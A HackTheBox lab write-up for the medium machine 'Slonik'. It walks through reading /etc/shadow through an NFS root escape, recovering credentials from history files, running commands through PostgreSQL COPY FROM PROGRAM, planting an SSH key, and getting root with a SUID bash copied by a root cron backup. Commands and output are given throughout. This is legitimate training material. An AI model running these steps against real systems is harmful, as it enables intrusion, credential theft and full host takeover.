Slonik

📅 Last Updated: May 26, 2026 13:51 | 📄 Size: 26.3 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Medium | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ nmap -sC -sV -Pn 10.129.180.231 -oN ./nmap.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 21:29 +0000
Nmap scan report for 10.129.180.231
Host is up (0.32s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_  256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34378/udp   mountd
|   100005  1,2,3      36519/tcp6  mountd
|   100005  1,2,3      48536/udp6  mountd
|   100005  1,2,3      55021/tcp   mountd
|   100021  1,3,4      35797/tcp6  nlockmgr
|   100021  1,3,4      38061/udp   nlockmgr
|   100021  1,3,4      46015/tcp   nlockmgr
|   100021  1,3,4      49119/udp6  nlockmgr
|   100024  1          40897/tcp6  status
|   100024  1          41388/udp   status
|   100024  1          42237/tcp   status
|   100024  1          60823/udp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.33 seconds

NFS - TCP 2049

showmount -e will list the available mounts (shares) over NFS:

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ showmount -e 10.129.180.231            
Export list for 10.129.180.231:
/var/backups *
/home        *

We can also use netexecto help us check them

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec nfs 10.129.180.231 --enum-shares                             
NFS         10.129.180.231  55021  10.129.180.231   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.180.231  55021  10.129.180.231   [*] Enumerating NFS Shares Directories
NFS         10.129.180.231  55021  10.129.180.231   [+] /var/backups
NFS         10.129.180.231  55021  10.129.180.231   [+] /home
NFS         10.129.180.231  55021  10.129.180.231   UID        Perms    File Size      File Path                                     Access List    
NFS         10.129.180.231  55021  10.129.180.231   ---        -----    ---------      ---------                                     -----------    
NFS         10.129.180.231  55021  10.129.180.231   1337       r--      90.0B          /home/service/.bash_history                   *              
NFS         10.129.180.231  55021  10.129.180.231   1337       r--      0B             /home/service/.cache/motd.legal-displayed     *              
NFS         10.129.180.231  55021  10.129.180.231   1337       r--      326.0B         /home/service/.psql_history                   *              
NFS         10.129.180.231  55021  10.129.180.231   1337       r--      807.0B         /home/service/.profile                        *              
NFS         10.129.180.231  55021  10.129.180.231   1337       r--      3.7KB          /home/service/.bashrc                         *              
NFS         10.129.180.231  55021  10.129.180.231   1337       r--      220.0B         /home/service/.bash_logout                    *              
NFS         10.129.180.231  55021  10.129.180.231   1337       r--      96.0B          /home/service/.ssh/authorized_keys            *              
NFS         10.129.180.231  55021  10.129.180.231   1337       r--      96.0B          /home/service/.ssh/id_ed25519.pub             *              
NFS         10.129.180.231  55021  10.129.180.231   1337       r--      -              /home/service/.local/share/                   *     

There is tip root escape:True, we can use netexec -lsto break out the shares

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec nfs 10.129.180.231 --ls /       
NFS         10.129.180.231  55021  10.129.180.231   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.180.231  55021  10.129.180.231   [+] Successful escape on share: /var/backups
NFS         10.129.180.231  55021  10.129.180.231   UID        Perms  File Size     File Path
NFS         10.129.180.231  55021  10.129.180.231   ---        -----  ---------     ---------
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /.
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /..
NFS         10.129.180.231  55021  10.129.180.231   0          -rwx   7.0B          /bin
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /boot
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /dev
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /etc
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /home
NFS         10.129.180.231  55021  10.129.180.231   0          -rwx   7.0B          /lib
NFS         10.129.180.231  55021  10.129.180.231   0          -rwx   9.0B          /lib32
NFS         10.129.180.231  55021  10.129.180.231   0          -rwx   9.0B          /lib64
NFS         10.129.180.231  55021  10.129.180.231   0          -rwx   10.0B         /libx32
NFS         10.129.180.231  55021  10.129.180.231   0          d---   16.0KB        /lost+found
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /media
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /mnt
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /opt
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /proc
NFS         10.129.180.231  55021  10.129.180.231   0          d---   4.0KB         /root
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /run
NFS         10.129.180.231  55021  10.129.180.231   0          -rwx   8.0B          /sbin
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /snap
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /srv
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /sys
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /tmp
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /usr
NFS         10.129.180.231  55021  10.129.180.231   0          dr--   4.0KB         /var

Let's continue to download the file /etc/passwdand /etc/shadow

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec nfs 10.129.180.231 --get-file /etc/passwd passwd
NFS         10.129.180.231  55021  10.129.180.231   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.180.231  55021  10.129.180.231   [*] Downloading /etc/passwd to passwd
NFS         10.129.180.231  55021  10.129.180.231   File successfully downloaded from /etc/passwd to passwd

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec nfs 10.129.180.231 --get-file /etc/shadow shadow
NFS         10.129.180.231  55021  10.129.180.231   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.180.231  55021  10.129.180.231   [*] Downloading /etc/shadow to shadow
NFS         10.129.180.231  55021  10.129.180.231   File successfully downloaded from /etc/shadow to shadow

There is only two accounts could be access to /bin/bash

root:x:0:0:root:/root:/bin/bash
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

But the shadow shows

root:$y$j9T$nHJOa2A9rTXPQi3rqjrDI/$mbo9VYMotfEvj4Va5D7Lv0AOzdHRuMwGf.4nue0pZe3:19654:0:99999:7:::
service:$y$j9T$4gRKP9kqW6NvhFfcFU2mL/$KT6bU.KoVCaBDQjkmUIkni5qWJaCTzScIz4B8XwqT/7:19654:0:99999:7:::

I can't use hashcat or john to help us crack them.

I would continue to mount the share

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ sudo mount -t nfs 10.129.234.160:/home /mnt 

In this place, I need to fake my identity as a service to view /home/service

service@localhost:/mnt$ cd service
service@localhost:/mnt/service$ ls -la
total 40
drwxr-x--- 5 service service_nfs 4096 Sep 22 12:46 .
drwxr-xr-x 3 root    root        4096 Oct 24  2023 ..
-rw-r--r-- 1 service service_nfs   90 Sep 22 12:46 .bash_history
-rw-r--r-- 1 service service_nfs  220 Oct 24  2023 .bash_logout
-rw-r--r-- 1 service service_nfs 3771 Oct 24  2023 .bashrc
drwx------ 2 service service_nfs 4096 Oct 24  2023 .cache
drwxrwxr-x 3 service service_nfs 4096 Oct 24  2023 .local
-rw-r--r-- 1 service service_nfs  807 Oct 24  2023 .profile
-rw-r--r-- 1 service service_nfs  326 Sep 22 12:46 .psql_history
drwxrwxr-x 2 service service_nfs 4096 Oct 24  2023 .ssh

Actually we can directly check the files

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ sudo -u '#1337' cat /mnt/service/.bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ sudo -u '#1337' cat /mnt/service/.psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2'WHERE', network access account');
select * from users;
\q

Now we can try to crack the password hash and get another credit service:service

I would try ssh first, but we can't access to the shell

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec ssh 10.129.180.231 -u service -p service                     
SSH         10.129.180.231  22     10.129.180.231   [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH         10.129.180.231  22     10.129.180.231   [+] service:service  Network Devices
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ ssh service@10.129.180.231           
The authenticity of host '10.129.180.231 (10.129.180.231)' can't be established.
ED25519 key fingerprint is: SHA256:j/hcANass/0veF/m0NAMOR41osL5zUMMMQ9nCYiwjmY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.180.231' (ED25519) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@/     %@@@@@@@@@@.      @&             @@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@   ############.    ############   ##########*  &@@@@@@@@@@@@@@@ 
@@@@@@@@@@@  ###############  ###################  /##########  @@@@@@@@@@@@@ 
@@@@@@@@@@ ###############( #######################(  #########  @@@@@@@@@@@@ 
@@@@@@@@@  ############### (#########################  ######### @@@@@@@@@@@@ 
@@@@@@@@@ .##############  ###########################( #######  @@@@@@@@@@@@ 
@@@@@@@@@  ############## (        ##############        ######  @@@@@@@@@@@@ 
@@@@@@@@@. ############## #####   # .########### ##  ##  #####. @@@@@@@@@@@@@ 
@@@@@@@@@@ .############# /########  ########### *##### ###### @@@@@@@@@@@@@@ 
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@ 
@@@@@@@@@@@  ###########( #########, ############( ####  ### (@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@ (##########/ #########  ##############  ##  #( @@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@( ###########  #######  ################  / #  @@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@  ############  ####  ###################    @@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@, ##########  @@@      ################            (@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@ .######  @@@@   ###  ##############  #######   @@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@(  *   @. #######    ############## (@((&@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@  #############( @@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #############  @@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  ###########  @@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #######*  @@@@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 
(service@10.129.180.231) Password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed Apr 29 12:35:40 UTC 2026

  System load:           0.13
  Usage of /:            46.3% of 6.59GB
  Memory usage:          8%
  Swap usage:            0%
  Processes:             232
  Users logged in:       0
  IPv4 address for eth0: 10.129.180.231
  IPv6 address for eth0: dead:beef::250:56ff:fe95:d91c


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Connection to 10.129.180.231 closed.

I remember that the UNIX socket that the PostgreSQL database is listening on (it's being treated as a file), which can be seen in the .bash_history file. SSH can actually forward the port to the UNIX socket using the -L option:

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ sshpass -p service ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.180.231
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@/     %@@@@@@@@@@.      @&             @@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@   ############.    ############   ##########*  &@@@@@@@@@@@@@@@ 
@@@@@@@@@@@  ###############  ###################  /##########  @@@@@@@@@@@@@ 
@@@@@@@@@@ ###############( #######################(  #########  @@@@@@@@@@@@ 
@@@@@@@@@  ############### (#########################  ######### @@@@@@@@@@@@ 
@@@@@@@@@ .##############  ###########################( #######  @@@@@@@@@@@@ 
@@@@@@@@@  ############## (        ##############        ######  @@@@@@@@@@@@ 
@@@@@@@@@. ############## #####   # .########### ##  ##  #####. @@@@@@@@@@@@@ 
@@@@@@@@@@ .############# /########  ########### *##### ###### @@@@@@@@@@@@@@ 
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@ 
@@@@@@@@@@@  ###########( #########, ############( ####  ### (@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@ (##########/ #########  ##############  ##  #( @@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@( ###########  #######  ################  / #  @@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@  ############  ####  ###################    @@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@, ##########  @@@      ################            (@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@ .######  @@@@   ###  ##############  #######   @@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@(  *   @. #######    ############## (@((&@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@  #############( @@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #############  @@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  ###########  @@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #######*  @@@@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 

It just hangs, and I can visit the service via port 5432

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ psql -h localhost -p 5432 -U postgres 
psql (18.3 (Debian 18.3-1+b1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
Type "help" for help.

postgres=# 

I would continue to enumerate the database

postgres=# \list
                                                 List of databases
   Name    |  Owner   | Encoding | Locale Provider | Collate |  Ctype  | Locale | ICU Rules |   Access privileges   
-----------+----------+----------+-----------------+---------+---------+--------+-----------+-----------------------
 postgres  | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |        |           | 
 service   | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |        |           | 
 template0 | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |        |           | =c/postgres          +
           |          |          |                 |         |         |        |           | postgres=CTc/postgres
 template1 | postgres | UTF8     | libc            | C.UTF-8 | C.UTF-8 |        |           | =c/postgres          +
           |          |          |                 |         |         |        |           | postgres=CTc/postgres
(4 rows)

postgres=# \c service
psql (18.3 (Debian 18.3-1+b1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
You are now connected to database "service" as user "postgres".
service=# \dt
          List of tables
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | users | table | postgres
(1 row)

service=# select * from users;
 id | username |             password             |      description       
----+----------+----------------------------------+------------------------
  1 | service  | aaabf0d39951f3e6c3e8a7911df524c2 | network access account
(1 row)

We can see the valid entry from .psql_history

To execute commands via PostgreSQL, I will create a table to store the output, copy the results to that table, and then retrieve them:

service=# CREATE TABLE cmd(output text);
CREATE TABLE
service=# COPY cmd FROM PROGRAM 'id';
COPY 1
service=# select * from cmd;
                                 output                                 
------------------------------------------------------------------------
 uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
(1 row)

Continue to try to write our ssh public key to the target .ssh

service=# COPY cmd FROM PROGRAM 'mkdir -p /var/lib/postgresql/.ssh';
COPY 0
service=# COPY cmd FROM PROGRAM 'chmod 700 /var/lib/postgresql/.ssh';
COPY 0
service=# COPY (SELECT 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO0dl48snyfNIrhj7V9tMQpXE5B0uCuiCXQxCdZLYglN70DyHDODd5y6jdo4JhorRyBK7kEguQZErAGWtJOs9Q8Tk6VLE1PmRc+vZMFH7FhM+Bdr6kH3bjHbPvLr/rqwYKCzUB5oYZOAJP9+6azC/SiBdtne0TN7uzTLXIO9+nFvfX6ZEL+Exkc3Tux7BlmatBJAOjvSHY94NXylZzyNM8HKDLp1fR43f64oKDL5odQFumuYDS2PvRRTMcx9NJ8xc1PD2STFd9xXvcpyXnE+WJjbc0s/iq6bgw6FrN7yYEegXolRsLh9jMFQtfJnBExqK2PWMm++UH2U6W4CXdKq1Vjlj+ZbWoC8SM3lL+H2y+wB2xjugQolebG3JS1r6NLGCDygY25ySUskXPdprwPf6vFCQiSdr2EHATwJI3HQMMUyBuEuHawppop60atUcMOhXny0h7//zJ/td6fouJT14KxQ/3f3B/ifXoAmIX8Y15FBxY70qeubV1XE+TnaXaw7IdESxEn5mIl13cIleAv/UFF4fEyXutr3ceDFHE4MOsL4KzynSfNmUMKkkbf+IbVGiJTKrzjzcCPx4KBKkhybmidX3q3LOwXvtltF/7t5/bM9D8JB7rT/3VF4ECtPt9Mr2FbahMz9Uzm1yKcu0sNbx9DFKSVtn2larH+zqh7QU7iQ== test') TO PROGRAM 'tee /var/lib/postgresql/.ssh/authorized_keys';
COPY 1

Then we can ssh connect to the shell as postgres

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ ssh -i ~/.ssh/id_rsa postgres@10.129.180.231
postgres@slonik:~$ whoami
postgres
postgres@slonik:~$ id
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)

Privilege Escalation

I would check sudo -lfirstly, but this account don't set any password

postgres@slonik:~$ sudo -l
[sudo] password for postgres: 

Remember there is another directory /var/backupwhich we never use that

postgres@slonik:/var/backups$ ls -al
total 31928
drwxr-xr-x  2 root root    4096 Apr 29 12:48 .
drwxr-xr-x 13 root root    4096 Sep 19  2023 ..
-rw-r--r--  1 root root 4666454 Apr 29 12:42 archive-2026-04-29T1242.zip
-rw-r--r--  1 root root 4666459 Apr 29 12:43 archive-2026-04-29T1243.zip
-rw-r--r--  1 root root 4667960 Apr 29 12:44 archive-2026-04-29T1244.zip
-rw-r--r--  1 root root 4667946 Apr 29 12:45 archive-2026-04-29T1245.zip
-rw-r--r--  1 root root 4667946 Apr 29 12:46 archive-2026-04-29T1246.zip
-rw-r--r--  1 root root 4667943 Apr 29 12:47 archive-2026-04-29T1247.zip
-rw-r--r--  1 root root 4667948 Apr 29 12:48 archive-2026-04-29T1248.zip

These files should be created by root and cron gives the task. I would use pspyto help us find out them

2026/04/29 12:54:01 CMD: UID=0    PID=48817  | /usr/sbin/CRON -f -P 
2026/04/29 12:54:01 CMD: UID=0    PID=48819  | /bin/bash /usr/bin/backup 
2026/04/29 12:54:01 CMD: UID=0    PID=48818  | /bin/sh -c /usr/bin/backup 
2026/04/29 12:54:01 CMD: UID=0    PID=48821  | /usr/bin/rm -rf /opt/backups/current/PG_VERSION /opt/backups/current/backup_label /opt/backups/current/backup_manifest /opt/backups/current/base /opt/backups/current/global /opt/backups/current/pg_commit_ts /opt/backups/current/pg_dynshmem /opt/backups/current/pg_logical /opt/backups/current/pg_multixact /opt/backups/current/pg_notify /opt/backups/current/pg_replslot /opt/backups/current/pg_serial /opt/backups/current/pg_snapshots /opt/backups/current/pg_stat /opt/backups/current/pg_stat_tmp /opt/backups/current/pg_subtrans /opt/backups/current/pg_tblspc /opt/backups/current/pg_twophase /opt/backups/current/pg_wal /opt/backups/current/pg_xact /opt/backups/current/postgresql.auto.conf                                                                                                                                             
2026/04/29 12:54:01 CMD: UID=0    PID=48822  | /usr/bin/perl /usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/ 

We can check the backup script

postgres@slonik:/tmp$ cat /usr/bin/backup
#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
  /usr/bin/rm -rf /var/backups/*
fi

It deletes all files in the /opt/backups/current directory, then calls the standard PostgreSQL tool pg_basebackup, using the current directory as the output directory. Next, it compresses this directory to /var/backups, using the date as the filename. Afterward, it counts the number of backups; if it exceeds 10, it deletes them all.

The files backed up to /opt/backups/current are files located in /var/lib/postgresql/14/main.

postgres@slonik:~/14/main$ ls -al
total 92
drwx------ 19 postgres postgres 4096 Apr 29 06:51 .
drwxr-xr-x  3 postgres postgres 4096 Oct 23  2023 ..
-rw-------  1 postgres postgres    3 Oct 23  2023 PG_VERSION
drwx------  7 postgres postgres 4096 Oct 24  2023 base
drwx------  2 postgres postgres 4096 Apr 29 06:52 global
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_commit_ts
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_dynshmem
drwx------  4 postgres postgres 4096 Apr 29 12:57 pg_logical
drwx------  4 postgres postgres 4096 Oct 23  2023 pg_multixact
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_notify
drwx------  2 postgres postgres 4096 Apr 29 12:57 pg_replslot
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_serial
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_snapshots
drwx------  2 postgres postgres 4096 Apr 29 06:51 pg_stat
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_stat_tmp
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_subtrans
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_tblspc
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_twophase
drwx------  3 postgres postgres 4096 Apr 29 12:57 pg_wal
drwx------  2 postgres postgres 4096 Oct 23  2023 pg_xact
-rw-------  1 postgres postgres   88 Oct 23  2023 postgresql.auto.conf
-rw-------  1 postgres postgres  130 Apr 29 06:51 postmaster.opts
-rw-------  1 postgres postgres   98 Apr 29 06:51 postmaster.pid

We can also write in this directory.

I will copy bash to that directory (because it's the home directory for the postgres user, and it can write to that directory) and set it as SetUID/SetGID:

postgres@slonik:~/14/main$ cp /bin/bash .
postgres@slonik:~/14/main$ chmod 6777 bash

The next time cron runs, a SetUID/SetGID bash script owned by the root user will be created:

postgres@slonik:/opt/backups/current$ ls -al bash
-rwsrwsrwx 1 root root 1396520 Apr 29 12:59 bash

postgres@slonik:/opt/backups/current$ ./bash -p
bash-5.1# whoami
root

Description

Slonik is a medium-difficulty Linux machine centered around NFS misconfiguration and PostgreSQL abuse. The attack begins by enumerating exposed NFS shares, where a root escape vulnerability allows browsing the full filesystem. By reading sensitive files such as .psql_history and .bash_history via UID spoofing, an attacker recovers credentials to a PostgreSQL instance. Since direct SSH access to the service account drops the connection immediately, SSH local port forwarding is used to tunnel a connection to the PostgreSQL UNIX socket. Once connected as the postgres superuser, remote code execution is achieved via COPY ... FROM PROGRAM, enabling SSH key injection and shell access as the postgres system user. Privilege escalation relies on a root-owned cron job that performs a pg_basebackup from the postgres home directory — a location writable by the postgres user. By placing a SUID bash binary there before the backup runs, the script inadvertently copies it with root ownership into a world-accessible path, allowing full root compromise.